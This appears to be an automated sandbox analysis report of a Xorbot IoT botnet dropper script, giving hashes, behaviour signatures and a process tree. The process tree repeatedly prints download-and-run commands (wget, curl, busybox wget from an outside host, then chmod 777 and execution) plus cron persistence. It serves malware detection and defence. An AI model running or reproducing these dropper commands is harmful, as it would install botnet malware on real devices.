Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    11/12/2024, 00:42

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    f7b77f27b4f964cb9736f62c0130544f

  • SHA1

    abfcdccbb2ed92e0bf7c8d90df6d924361ed7d55

  • SHA256

    13e3ec2cd7d02cf96bb0d74baf8edf5de1cb478d06885039fbd4745e4fe64529

  • SHA512

    6694914ba2e11852115407574f134c8516dd891947584d4a5e4c3d9b1c99d47ba61781088d981d7182d268440486e4d8435e9f961b469e1b73193aba5fb732c5

  • SSDEEP

    96:YQlQFQnQEZLXroMQELmW/mWpRJvL2K2C2cLV13EPLO+P9t95P94Rz53DIDEDn+Uf:Be+nQEZLdZHGdAVe+nQED

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2150) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 31 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:727
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:730
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/fIilnXjBLO3fjLcyxZqH8yX12RX8Yy23zk
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:734
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/fIilnXjBLO3fjLcyxZqH8yX12RX8Yy23zk
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:751
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/fIilnXjBLO3fjLcyxZqH8yX12RX8Yy23zk
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:758
        • /bin/chmod
          chmod 777 fIilnXjBLO3fjLcyxZqH8yX12RX8Yy23zk
          2⤵
          • File and Directory Permissions Modification
          PID:759
        • /tmp/fIilnXjBLO3fjLcyxZqH8yX12RX8Yy23zk
          ./fIilnXjBLO3fjLcyxZqH8yX12RX8Yy23zk
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:760
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:762
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:763
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:764
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:765
              • /bin/rm
                rm fIilnXjBLO3fjLcyxZqH8yX12RX8Yy23zk
                2⤵
                  PID:767
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/mnKQKnSSF6jxChmi3F7C8gJhxAC1mtVheH
                  2⤵
                  • System Network Configuration Discovery
                  PID:770
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/mnKQKnSSF6jxChmi3F7C8gJhxAC1mtVheH
                  2⤵
                  • System Network Configuration Discovery
                  PID:771
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/mnKQKnSSF6jxChmi3F7C8gJhxAC1mtVheH
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:772
                • /bin/chmod
                  chmod 777 mnKQKnSSF6jxChmi3F7C8gJhxAC1mtVheH
                  2⤵
                  • File and Directory Permissions Modification
                  PID:857
                • /tmp/mnKQKnSSF6jxChmi3F7C8gJhxAC1mtVheH
                  ./mnKQKnSSF6jxChmi3F7C8gJhxAC1mtVheH
                  2⤵
                  • Executes dropped EXE
                  PID:858
                • /bin/rm
                  rm mnKQKnSSF6jxChmi3F7C8gJhxAC1mtVheH
                  2⤵
                    PID:864
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/3KpuAHTzfWNJuDd0XN362ikQ60Q1t8QtME
                    2⤵
                    • System Network Configuration Discovery
                    PID:865
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/3KpuAHTzfWNJuDd0XN362ikQ60Q1t8QtME
                    2⤵
                    • System Network Configuration Discovery
                    PID:866
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/3KpuAHTzfWNJuDd0XN362ikQ60Q1t8QtME
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:868
                  • /bin/chmod
                    chmod 777 3KpuAHTzfWNJuDd0XN362ikQ60Q1t8QtME
                    2⤵
                    • File and Directory Permissions Modification
                    PID:883
                  • /tmp/3KpuAHTzfWNJuDd0XN362ikQ60Q1t8QtME
                    ./3KpuAHTzfWNJuDd0XN362ikQ60Q1t8QtME
                    2⤵
                    • Executes dropped EXE
                    PID:885
                  • /bin/rm
                    rm 3KpuAHTzfWNJuDd0XN362ikQ60Q1t8QtME
                    2⤵
                      PID:887
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/I0WkqFAU95Ug65YIxLruw6toJhiyS9p4yh
                      2⤵
                      • System Network Configuration Discovery
                      PID:889
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/I0WkqFAU95Ug65YIxLruw6toJhiyS9p4yh
                      2⤵
                      • System Network Configuration Discovery
                      PID:892
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/I0WkqFAU95Ug65YIxLruw6toJhiyS9p4yh
                      2⤵
                      • System Network Configuration Discovery
                      PID:894
                    • /bin/chmod
                      chmod 777 I0WkqFAU95Ug65YIxLruw6toJhiyS9p4yh
                      2⤵
                      • File and Directory Permissions Modification
                      PID:897
                    • /tmp/I0WkqFAU95Ug65YIxLruw6toJhiyS9p4yh
                      ./I0WkqFAU95Ug65YIxLruw6toJhiyS9p4yh
                      2⤵
                        PID:900
                      • /bin/rm
                        rm I0WkqFAU95Ug65YIxLruw6toJhiyS9p4yh
                        2⤵
                          PID:901
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/OSw6qEUGt1CYTMqTb6txNXCuu0dgNC0Xkc
                          2⤵
                          • System Network Configuration Discovery
                          PID:903
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/OSw6qEUGt1CYTMqTb6txNXCuu0dgNC0Xkc
                          2⤵
                          • System Network Configuration Discovery
                          PID:906
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/OSw6qEUGt1CYTMqTb6txNXCuu0dgNC0Xkc
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:912
                        • /bin/chmod
                          chmod 777 OSw6qEUGt1CYTMqTb6txNXCuu0dgNC0Xkc
                          2⤵
                          • File and Directory Permissions Modification
                          PID:925
                        • /tmp/OSw6qEUGt1CYTMqTb6txNXCuu0dgNC0Xkc
                          ./OSw6qEUGt1CYTMqTb6txNXCuu0dgNC0Xkc
                          2⤵
                          • Executes dropped EXE
                          PID:927
                        • /bin/rm
                          rm OSw6qEUGt1CYTMqTb6txNXCuu0dgNC0Xkc
                          2⤵
                            PID:932
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/rHzpk3KqHWOpDLps6DjDjbibluZqdiK7on
                            2⤵
                            • System Network Configuration Discovery
                            PID:933
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/rHzpk3KqHWOpDLps6DjDjbibluZqdiK7on
                            2⤵
                            • System Network Configuration Discovery
                            PID:935
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/rHzpk3KqHWOpDLps6DjDjbibluZqdiK7on
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:936
                          • /bin/chmod
                            chmod 777 rHzpk3KqHWOpDLps6DjDjbibluZqdiK7on
                            2⤵
                            • File and Directory Permissions Modification
                            PID:940
                          • /tmp/rHzpk3KqHWOpDLps6DjDjbibluZqdiK7on
                            ./rHzpk3KqHWOpDLps6DjDjbibluZqdiK7on
                            2⤵
                            • Executes dropped EXE
                            PID:941
                          • /bin/rm
                            rm rHzpk3KqHWOpDLps6DjDjbibluZqdiK7on
                            2⤵
                              PID:948
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/bophyw6X3I80GndVek5cZZMSBQvu6UOPQQ
                              2⤵
                              • System Network Configuration Discovery
                              PID:949
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/bophyw6X3I80GndVek5cZZMSBQvu6UOPQQ
                              2⤵
                              • System Network Configuration Discovery
                              PID:950
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/bophyw6X3I80GndVek5cZZMSBQvu6UOPQQ
                              2⤵
                              • System Network Configuration Discovery
                              PID:951
                            • /bin/chmod
                              chmod 777 bophyw6X3I80GndVek5cZZMSBQvu6UOPQQ
                              2⤵
                              • File and Directory Permissions Modification
                              PID:952
                            • /tmp/bophyw6X3I80GndVek5cZZMSBQvu6UOPQQ
                              ./bophyw6X3I80GndVek5cZZMSBQvu6UOPQQ
                              2⤵
                                PID:953
                              • /bin/rm
                                rm bophyw6X3I80GndVek5cZZMSBQvu6UOPQQ
                                2⤵
                                  PID:954
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/NaNgTzZoWItSoHVV44dJFAzMsVAGZyv0IP
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:955
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/NaNgTzZoWItSoHVV44dJFAzMsVAGZyv0IP
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:956
                                • /bin/busybox
                                  /bin/busybox wget http://conn.masjesu.zip/bins/NaNgTzZoWItSoHVV44dJFAzMsVAGZyv0IP
                                  2⤵
                                  • System Network Configuration Discovery
                                  • Writes file to tmp directory
                                  PID:957
                                • /bin/chmod
                                  chmod 777 NaNgTzZoWItSoHVV44dJFAzMsVAGZyv0IP
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:958
                                • /tmp/NaNgTzZoWItSoHVV44dJFAzMsVAGZyv0IP
                                  ./NaNgTzZoWItSoHVV44dJFAzMsVAGZyv0IP
                                  2⤵
                                  • Executes dropped EXE
                                  • System Network Configuration Discovery
                                  PID:959
                                • /bin/rm
                                  rm NaNgTzZoWItSoHVV44dJFAzMsVAGZyv0IP
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:961
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/0wM2kQUt2HTCC35FDxgNR9GiIQJyAqxlmv
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:962
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/0wM2kQUt2HTCC35FDxgNR9GiIQJyAqxlmv
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:963
                                • /bin/busybox
                                  /bin/busybox wget http://conn.masjesu.zip/bins/0wM2kQUt2HTCC35FDxgNR9GiIQJyAqxlmv
                                  2⤵
                                  • System Network Configuration Discovery
                                  • Writes file to tmp directory
                                  PID:964
                                • /bin/chmod
                                  chmod 777 0wM2kQUt2HTCC35FDxgNR9GiIQJyAqxlmv
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:967
                                • /tmp/0wM2kQUt2HTCC35FDxgNR9GiIQJyAqxlmv
                                  ./0wM2kQUt2HTCC35FDxgNR9GiIQJyAqxlmv
                                  2⤵
                                  • Executes dropped EXE
                                  PID:968
                                • /bin/rm
                                  rm 0wM2kQUt2HTCC35FDxgNR9GiIQJyAqxlmv
                                  2⤵
                                    PID:969
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/cMxXi6ZJjaYk2tT9MRNa47zI5fDGyYodEG
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:971
                                  • /usr/bin/curl
                                    curl -O http://conn.masjesu.zip/bins/cMxXi6ZJjaYk2tT9MRNa47zI5fDGyYodEG
                                    2⤵
                                    • System Network Configuration Discovery
                                    PID:975

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/0wM2kQUt2HTCC35FDxgNR9GiIQJyAqxlmv

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/3KpuAHTzfWNJuDd0XN362ikQ60Q1t8QtME

                                  Filesize

                                  141KB

                                  MD5

                                  3ca8decdb1e52c423c521bfff02ac200

                                  SHA1

                                  8621ecd6807109b8541912ad9e134f6fb49bfd48

                                  SHA256

                                  dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                  SHA512

                                  b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                • /tmp/NaNgTzZoWItSoHVV44dJFAzMsVAGZyv0IP

                                  Filesize

                                  127KB

                                  MD5

                                  89077b7bd4bcafca7713be43635c4862

                                  SHA1

                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                  SHA256

                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                  SHA512

                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                • /tmp/OSw6qEUGt1CYTMqTb6txNXCuu0dgNC0Xkc

                                  Filesize

                                  99KB

                                  MD5

                                  9438d9bc392bcf300a5583b6df5bc8f6

                                  SHA1

                                  375a6ae34b516f6f3eeea8030c4084f585017efa

                                  SHA256

                                  68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                  SHA512

                                  1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                • /tmp/fIilnXjBLO3fjLcyxZqH8yX12RX8Yy23zk

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /tmp/mnKQKnSSF6jxChmi3F7C8gJhxAC1mtVheH

                                  Filesize

                                  117KB

                                  MD5

                                  849fa04ef88a8e8de32cb2e8538de5fe

                                  SHA1

                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                  SHA256

                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                  SHA512

                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                • /tmp/rHzpk3KqHWOpDLps6DjDjbibluZqdiK7on

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /var/spool/cron/crontabs/tmp.nWRAmb

                                  Filesize

                                  210B

                                  MD5

                                  ade6fd5888014e5553b2d01e9f128d68

                                  SHA1

                                  69f96bdb932047600f235dea31c3d384fa48b7ea

                                  SHA256

                                  57a011e2410a55ede1fe5ae306fc55bcad0362d714ac272cba633d7f641e04e9

                                  SHA512

                                  2db61991f07ccf79c5e51df0543ed49e1495fab09f0c5ae3fcdb39e734a3e82bdc9a3bcb07c97bd54a003a496d8ef3748bd5457fa29168922959af28843e30ec